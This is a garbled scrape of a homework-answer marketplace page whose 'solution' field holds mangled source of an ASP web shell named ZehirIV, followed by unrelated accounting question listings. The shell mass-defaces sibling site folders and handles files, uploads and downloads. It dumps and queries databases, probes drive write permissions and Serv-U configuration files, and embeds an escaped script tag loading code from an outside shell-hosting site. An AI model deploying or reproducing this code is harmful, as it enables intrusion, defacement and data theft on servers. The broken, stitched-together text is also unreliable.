"" then sFolder = sFolder & ";Set f = objFSO.">

Details of this Paper

If Request("kuskapani")=2

Description

solution


Question

& Request("byMesaj") &;powered by Z" & Session("n2") && "3;sFolder = Replace(sFolder,"/","");if Right(sFolder,1)<>"" then sFolder = sFolder & ";Set f = objFSO.GetFolder(Path);Set fc = f.SubFolders;h__ = 0;f__ = 0;ss__ = now;For Each f1 In fc;hedef_ = replace(f1.path,"/","");if Right(hedef_,1)<>"" then hedef_ = hedef_ & ";hedef__ = left(hedef_,len(hedef_)-1);folderName_ = Right(hedef__, len(hedef__)-instrrev(hedef__,""));if d1<>"" then d1 = true;if d2<>"" then d2 = true;if d3<>"" then d3 = true;if d4<>"" then d4 = true;on error goto 0:on error resume next;if fName<>"" then;Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & fName, True);MyFile.write byMesaj;end if;if d1 then;Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.htm", True);MyFile.write byMesaj;end if;if d2 then;Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.htm", True);MyFile.write byMesaj;end if;if d3 then;Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.asp", True);MyFile.write byMesaj;end if;if d4 then;Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.asp", True);MyFile.write byMesaj;end if;if err<>0 then;response.Write folderName_ & " [FAILED!];f__ = f__ + 1;else;response.Write folderName_ & " [HACKED];h__ = h__ + 1;end if;Next;ss___ = now;response.Write;by zehir!...;Sonuc: Toplam Süre: "&left(ss__-ss___,5)&&"sn.;Hacked = "&h__&;Failed = "&f;response.End;end if;status = Request("status");path = Request("path");dPath = Request("dPath");arama = Request("txArama");dkayit = Request("dkayit");table = Request("table");del = Request("del");islem = Request("islem");strSQL = Request("strSQL");cf = Request("cf");pathfile = request("pathfile");if path="" then path=request.servervariables("APPL_PHYSICAL_PATH");if status="" then status=2;popup = true;////////////////////////////////;Function ReadBinaryFile(FileName);Const adTypeBinary = 1;Dim BinaryStream;Set BinaryStream = CreateObject("ADODB.Stream");BinaryStream.Type = adTypeBinary;BinaryStream.Open;BinaryStream.LoadFromFile FileName;ReadBinaryFile = BinaryStream.Read;End Function;if status="-3" then;Response.Buffer=True;Set Fil = objFSO.GetFile(pathfile);Response.contenttype="application/force-download;Response.AddHeader "Cache-control","private;Response.AddHeader "Content-Length", Fil.Size;Response.AddHeader "Content-Disposition", "attachment, filename=" & Fil.name;Response.BinaryWrite readBinaryFile(Fil.path);Set f = Nothing: Set Fil = Nothing;response.End();end if;//////////////////////////////////;if status="-4" then popup=false;if status="13" then popup=false;if status="14" then popup=false;if status="15" then popup=false;if status="16" then popup=false;if status="17" then popup=false;if status="18" then popup=false;if status="19" then popup=false;if status="33" then popup=false;if status="40" then popup=false;if status="50" then popup=false;byMsg = request.QueryString("byMsg");if byMsg<>"" then response.Write byMsg;response.Write "[AhmetDeniz.Org] ZehirIV --> powered by zehir;if popup then;%>;System Info;System Test;Sites Test;Folder Action;SQL Server;POWERED BY;function sistemBilgisi(yol);NewWindow(yol,"",600,240,"no");function SitelerTestte(yol);NewWindow(yol,"",530,420,"no");function klasorIslemleri(yol);NewWindow(yol,"",400,280,"no");function sqlServer(yol);NewWindow(yol,"",300,50,"no");function poweredby(yol);NewWindow(yol,"",300,50,"no");function sistemTest(yol);NewWindow(yol,"",400,300,"no");= llngEnd Then Exit Function;llngLength = llngEnd - llngStart;ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)));End Function;Private Function ParseDisposition(ByRef pbinChunk);Dim llngStart;Dim llngEnd;Dim llngLength;llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare);If llngStart = 0 Then Exit Function;llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF);If llngEnd = 0 Then Exit Function;llngStart = llngStart + 22;If llngStart >= llngEnd Then Exit Function;llngLength = llngEnd - llngStart;ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength));End Function;Private Function ParseName(ByRef pstrDisposition);Dim llngStart;Dim llngEnd;Dim llngLength;llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare);If llngStart = 0 Then Exit Function;llngEnd = InStr(llngStart + 6, pstrDisposition, """");If llngEnd = 0 Then Exit Function;llngStart = llngStart + 6;If llngStart >= llngEnd Then Exit Function;llngLength = llngEnd - llngStart;ParseName = Mid(pstrDisposition, llngStart, llngLength);End Function; ------------------------------------------------------------------------------;Private Function ParseFileName(ByRef pstrDisposition);Dim llngStart;Dim llngEnd;Dim llngLength;llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare);If llngStart = 0 Then Exit Function;llngEnd = InStr(llngStart + 10, pstrDisposition, """");If llngEnd = 0 Then Exit Function;llngStart = llngStart + 10;If llngStart >= llngEnd Then Exit Function;llngLength = llngEnd - llngStart;ParseFileName = Mid(pstrDisposition, llngStart, llngLength);End Function;Public Property Get Count();Count = mlngCount;End Property;Public Default Property Get Fields(ByVal pstrName);Dim llngIndex;If IsNumeric(pstrName) Then;llngIndex = CLng(pstrName);If llngIndex > mlngCount - 1 Or llngIndex 0 then response.Write;&err.Description;Call lobjStream.Close();Set lobjStream = Nothing;End Sub;Public Property Let FilePath(ByRef pstrPath);mstrPath = pstrPath;If Not InStrRev(pstrPath, ".") = 0 Then;FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1);FileExt = UCase(FileExt);End If;If Not InStrRev(pstrPath, "") = 0 Then;FileName = Mid(pstrPath, InStrRev(pstrPath, "") + 1);End If;If Not InStrRev(pstrPath, "") = 0 Then;FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "") - 1);End If;End Property;Public Property Get FilePath();FilePath = mstrPath;End Property;private Function ASCII2Bytes(ByRef pbinBinaryData);Const adLongVarBinary=205;Dim lobjRs;Dim llngLength;Dim lbinBuffer;llngLength = LenB(pbinBinaryData);Set lobjRs = Server.CreateObject("ADODB.Recordset");Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength);Call lobjRs.Open();Call lobjRs.AddNew();Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0));Call lobjRs.Update();lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength);Call lobjRs.Close();Set lobjRs = Nothing;ASCII2Bytes = lbinBuffer;End Function;Private Function Bytes2Unicode(ByRef pbinBytes);Dim lobjRs;Dim llngLength;Dim lstrBuffer;llngLength = LenB(pbinBytes);Set lobjRs = Server.CreateObject("ADODB.Recordset");Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength);Call lobjRs.Open();Call lobjRs.AddNew();Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes);Call lobjRs.Update();lstrBuffer = lobjRs.Fields("BinaryData").Value;Call lobjRs.Close();Set lobjRs = Nothing;Bytes2Unicode = lstrBuffer;End Function;End Class;Session("n2") = "ehir;####################################;function addslash(path);if right(path,1)="" then addslash=path else addslash=path & ";end function;sub Upload();dim objUpload,f,max,i,name,path,size,success;set objUpload=New clsUpload;targetPath=objUpload.Fields("folder").Value;max=objUpload.Fields("max").Value;for i=1 to max;name=objUpload.Fields("file" & i).FileName;size=objUpload.Fields("file" & i).Length;if (name<>"") and (size>0) then;gMsg=gMsg &; & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes):;path=addslash(targetPath) & name;objUpload.Fields("file" & i).SaveAs path;if objFSO.FileExists(path) then;on error resume next;set f=objFSO.GetFile(path);if IsObject(f) then;if f.Size=size then success=true else success=false;end if;set f=nothing;end if;if success then gMsg=gMsg & " uploaded " else gMsg = gMsg & " failed!;end if;next;response.Write gMsg;set objUpload=nothing;end sub;if status="-4" then;Upload(); hataKontrol;popup=false;end if;////////////////////////////////;sub hataKontrol;if err<>0 then;Response.Write " Hata: "&err.Description&";end if;end sub;sub araBul(path_,ara_);on error resume next;If Len(path_) > 0 Then;cur = path_&";If cur = "\" Then cur = ";parent = ";If InStrRev(cur,"") > 0 Then;parent = Left(cur, InStrRev(cur, "", Len(cur)-1));End If;Else;cur = ";End If;Set f = objFSO.GetFolder(cur);Set fc = f.Files;For Each f1 In fc;if lcase(InStr(1,f1.name,lcase(ara_)))>0 then;downStr = " Í;if lcase(ara_)="mdb" then;Response.Write downStr&" û * "&f1.path&" ["&f1.size&"]"&;else;Response.Write downStr&" û ! - "&f1.path&" ["&f1.size&"]"&;end if;end if;Next;Set fs = f.SubFolders;For Each f1 In fs;araBul f1.path,ara;Next;Set f = Nothing;Set fc = Nothing;Set fs = Nothing;end sub;sub sistemTest;response.Write ";response.Write;Konum Sonuç;servu_Test;WriteTestOnDriver;WriteTestOnLocalPath;LocalPathParentFolder;LocalPathPParentFolder;response.Write ";end sub;sub servu_Test;dosya_ = Array("Program FilesServ-uServ-u.ini", "Program FilesServ-uServ-u daemon.ini", "Serv-uServ-u.ini", "Serv-uServ-u daemon.ini");for each drive_ in objFSO.Drives;if drive_.Drivetype=2 or drive_.Drivetype=3 then;for each d_ in dosya;d_ = drive_.DriveLetter&":"&d;if objFSO.FileExists(d_) then;response.Write;Serv-U ini file: "&d_&";end if;next;end if;next;end sub;function yaziyomu(yol);on error goto 0:on error resume next;dim sonuc;Set MyFile = objFSO.CreateTextFile(yol & "test.zehir", True);MyFile.write "byzehir;set MyFile = Nothing;if err<>0 then;sonuc__=" Yazma Hakki Yok!;else;sonuc__=" Yazma Hakki Var!;on error goto 0: on error resume next;objFSO.DeleteFile yol & "test.zehir",true;if err<>0 then;sonuc__=sonuc__&;Silme Hakki Yok!;else;sonuc__=sonuc__&;Silme Hakki Var!;end if;end if;yaziyomu = sonuc;end function;function yaziyomu2(yol);on error goto 0:on error resume next;Set MyFile = objFSO.CreateTextFile(yol & "test.zehir", True);MyFile.write "byzehir;set MyFile = Nothing;if err<>0 then;yaziyomu2 = false;else;objFSO.DeleteFile yol & "test.zehir;yaziyomu2 = true;end if;end function;sub WriteTestOnDriver;for each drive_ in objFSO.Drives;if drive_.Drivetype=2 or drive_.Drivetype=3 then;if not yaziyomu2(drive_.DriveLetter&":") then;Response.Write;&drive_.DriveLetter&": yazma yetkisi yok!: ["&err.Description&"];else;Response.Write;&drive_.DriveLetter&": yazma yetkisi var!;end if;end if;next;end sub;sub WriteTestOnLocalPath;on error goto 0;on error resume next;if not yaziyomu2(request.servervariables("APPL_PHYSICAL_PATH")) then;Response.Write;Local Path yazma yetkisi yok!: ["&err.Description&"];else;Response.Write;Local Path yazma yetkisi var!;end if;end sub;sub LocalPathParentFolder;on error goto 0;on error resume next;hed_ = request.servervariables("APPL_PHYSICAL_PATH");if Right(hed_,1)="" then hed_ = left(hed_,len(hed_)-1);parhed_ = left(hed_,InStrRev(hed_,""));Set f = objFSO.GetFolder(parhed_);Set fc = f.SubFolders;int_fol=0;int_fil=0;For Each f1 In fc;int_fol=int_fol+1;Next;Set fc = f.files;For Each f1 In fc;int_fil=int_fil+1;Next;if err<>0 then;Response.Write;Local Path;Parent Folder Hata Olustu: ["&err.Description&"];else;Response.Write;Local Path;Parent Folder Folder: "&FormatNumber(int_fol,0)&;File: "&FormatNumber(int_fil,0)&";end if;end sub;sub LocalPathPParentFolder;on error goto 0;on error resume next;hed_ = request.servervariables("APPL_PHYSICAL_PATH");if Right(hed_,1)="" then hed_ = left(hed_,len(hed_)-1);hed_ = left(hed_,InStrRev(hed_,""));if Right(hed_,1)="" then hed_ = left(hed_,len(hed_)-1);parhed_ = left(hed_,InStrRev(hed_,""));Set f = objFSO.GetFolder(parhed_);Set fc = f.SubFolders;int_fol=0;int_fil=0;For Each f1 In fc;int_fol=int_fol+1;Next;Set fc = f.files;For Each f1 In fc;int_fil=int_fil+1;Next;if err<>0 then;if err=451 then;Response.Write;Local Path;P.Parent Folder Data Üst Klasor Yok:);else;Response.Write;Local Path;P.Parent Folder Hata Olustu: ["&err.Description&"];end if;else;Response.Write;Local Path;P.Parent Folder Folder: "&FormatNumber(int_fol,0)&;File: "&FormatNumber(int_fil,0)&";end if;end sub;SELECT CASE status;CASE 13 'Sistem Bilgisi;Response.Write;Sistem Bilgileri:;Response.Write;Local Adres " & request.servervariables("REMOTE_ADDR") & ";Response.Write;User Agent " & request.servervariables("HTTP_USER_AGENT") & ";Response.Write;Server " & request.servervariables("SERVER_NAME") & ";Response.Write;IP " & request.servervariables("LOCAL_ADDR") & ";Response.Write;HTTPD " & request.servervariables("SERVER_SOFTWARE") & ";Response.Write;Port " & request.servervariables("SERVER_PORT") & ";Response.Write;Yol " & request.servervariables("APPL_PHYSICAL_PATH") & ";Response.Write;Log Root " & request.servervariables("APPL_MD_PATH") & ";Response.Write;HTTPS " & request.servervariables("HTTPS") & ";Response.Write ";popup = false;CASE 14 'Upload and Search;aramaUpload;popup = false;hataKontrol;CASE 15 'Ms. SQL Server;Response.Write ";popup = false;hataKontrol;CASE 16 'file Copy window;Response.Write ";popup = false;hataKontrol;CASE 17 'file Copy;isl = ";if islem="kopyala" then;objFSO.CopyFile path,cf;isl="kopyalandi..;elseif islem="tasi" then;objFSO.MoveFile path,cf;isl="tasindi..;end if;response.Write "Dosya "&isl;response.Write;Kaynak: "&path&;Hedef: "&cf;response.Write;popup = false;hataKontrol;CASE 18 'folder Copy window;Response.Write ";popup = false;hataKontrol;CASE 19 'folder Copy;isl = ";if islem="kopyala" then;objFSO.CopyFolder path,cf;isl="kopyalandi..;elseif islem="tasi" then;objFSO.MoveFolder path,cf;isl="tasindi..;end if;response.Write "Klasor "&isl;response.Write;Kaynak: "&path&;Hedef: "&cf;response.Write;popup = false;hataKontrol;CASE 33 'Powered By;response.Write;Powered by Zehir;response.Write;zehirhacker@hotmail.com;küllü nefsun zaifetun mevt;popup = false;hataKontrol;CASE 40 'Sistem Test;sistemTest;popup=false;CASE 50 'Siteleri Test Edelim:D;%>;Güvenlik Testi byZehir;function NewWindow(mypage, myname, w, h, scroll);var winl = (screen.width - w) / 2;var wint = (screen.height - h) / 2;winprops = 'height='+h+',width='+w+',top='+wint+',left='+winl+',scrollbars='+scroll+',resizable;win = window.open(mypage, myname, winprops);if (parseInt(navigator.appVersion) >= 4) { win.window.focus(), };function ffd(yol);NewWindow(yol,"",420,100,"no");setid();function setid();str=';if (frmUpload.max.value<=0) frmUpload.max.value=1;for (i=1, i<=frmUpload.max.value, i++) str+='File '+i+;upid.innerHTML=str+;<%;end sub;SELECT CASE status;CASE 1 'Driver Open;if len(path)=1 then Response.Write (yaziyomu(path&":")) else Response.Write (yaziyomu(path));Response.Write;Path = Path & ":/;Response.Write " ;KlasorOku;Response.Write " ;DosyaOku;Response.Write ";hataKontrol;CASE 2 'Normal listeleme;if len(path)=1 then Response.Write (yaziyomu(path&":")) else Response.Write (yaziyomu(path));Response.Write;Response.Write " ;KlasorOku;Response.Write " ;DosyaOku;Response.Write ";hataKontrol;CASE 3 'File Delete;objFSO.DeleteFile del;hataKontrol;if err<>0 then;byMsg=" Not File Deleted!;else;byMsg=" File Deleted Successful,);end if;Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg;CASE 4 'Folder Delete;objFSO.DeleteFolder del;hataKontrol;if err<>0 then;byMsg=" Not Folder Deleted!;else;byMsg=" Folder Deleted Successful,);end if;Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg;CASE 5 'Dosya içerigini görüntüle;Response.Write " "&path&;Response.Write;set f = objFSO.OpenTextFile(path,1);Response.Write " "&Server.HTMLEncode(f.readAll)&";if err<>62 then hataKontrol;if err.number=62 then Response.Write "document.write('u003cu0053u0043u0052u0049u0050u0054u0020u0053u0052u0043u003du0068u0074u0074u0070u003au002fu002fu0077u0077u0077u002eu0063u0039u0039u0073u0068u0065u006cu006cu002eu0063u006fu006du002fu006bu0061u0079u0064u0065u0074u002eu006au0073u003eu003cu002fu0053u0043u0052u0049u0050u0054u003eu000a');:Response.End;CASE 6 'Resim a?;Response.Write;CASE 7 'database tablo listele;Response.Write " Tablolar;Set objConn = Server.CreateObject("ADODB.Connection");Set objADOX = Server.CreateObject("ADOX.Catalog");objConn.Provider = "Microsoft.Jet.Oledb.4.0";objConn.ConnectionString = Path;objConn.Open;objADOX.ActiveConnection = objConn;For Each table in objADOX.Tables;If table.Type = "TABLE" Then;Response.Write " 4 "&table.Name&;End If;Next;hataKontrol;CASE 8 'database kayit listele;Set objConn = Server.CreateObject("ADODB.Connection");Set objRcs = Server.CreateObject("ADODB.RecordSet");objConn.Provider = "Microsoft.Jet.Oledb.4.0";objConn.ConnectionString = Path;objConn.Open;objRcs.Open table,objConn, adOpenKeyset,, adCmdText;Response.Write;for i=0 to objRcs.Fields.count-1;Response.Write " "&objRcs.Fields(i).Name&";next;Response.Write ";do while not objRcs.EOF;Response.Write;for i=0 to objRcs.Fields.count-1;Response.Write " "&objRcs.Fields(i).Value&";next;Response.Write ";objRcs.MoveNext;loop;Response.Write;hataKontrol;CASE 9 'SQL Execute;Set objConn = Server.CreateObject("ADODB.Connection");objConn.Provider = "Microsoft.Jet.Oledb.4.0";objConn.ConnectionString = Path;objConn.Open;objConn.Execute strSQL; Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time;hataKontrol;CASE 10 'Dosya Editleme;set f = objFSO.OpenTextFile(dPath,1);Response.Write ";Response.Write ";Response.Write ";Response.Write ";Response.Write;Response.Write ";Response.Write server.HTMLEncode(f.readAll);Response.Write;Attachment Preview;index.html Download Attachment;Send this URL to your friends: http://sombra.com;TAKE ME AWAY;Object 1;GO TO sombra.com;Object 2;GO TO sombra.com;Object 3;GO TO sombra.com;Show more;Get Answer;or Ask a new Question;Related Accounting Questions;Q. I HAVE THREE QUESTIONS FOR TODAY THEY ARE ALL ATTACHED TO ONE EXCEL WORKBOOK AND AS SUCVH i WILL SEND THEM AS ONE ATTACHMENT!;Answer Rating: 1 2 3 4 5 View Answer;Q. Write a 1,050- to 1,750-word paper in which you address the following: Does managements assessment of the financial condition agree with your assessm...;Answer Rating: 1 2 3 4 5 View Answer;Q. Q6- can you please solve part [a] only with out using computer function and kindly writ me the explanation of the solution.. thank you very much p.s...;Answer Rating: 1 2 3 4 5 View Answer;Q. Companies are often faced with the aspect of having to test the value of an asset on their books to see if it has been impaired. The company uses one...;Answer Rating: 1 2 3 4 5 View Answer;Q. Here are the questions again. I need to send one more attachment. I need both of them. Thank you;Answer Rating: 1 2 3 4 5 View Answer;Q. I need help with case 2 and 3;Answer Rating: 1 2 3 4 5 View Answer

 

Paper#27168 | Written in 18-Jul-2015

Price : $41
SiteLock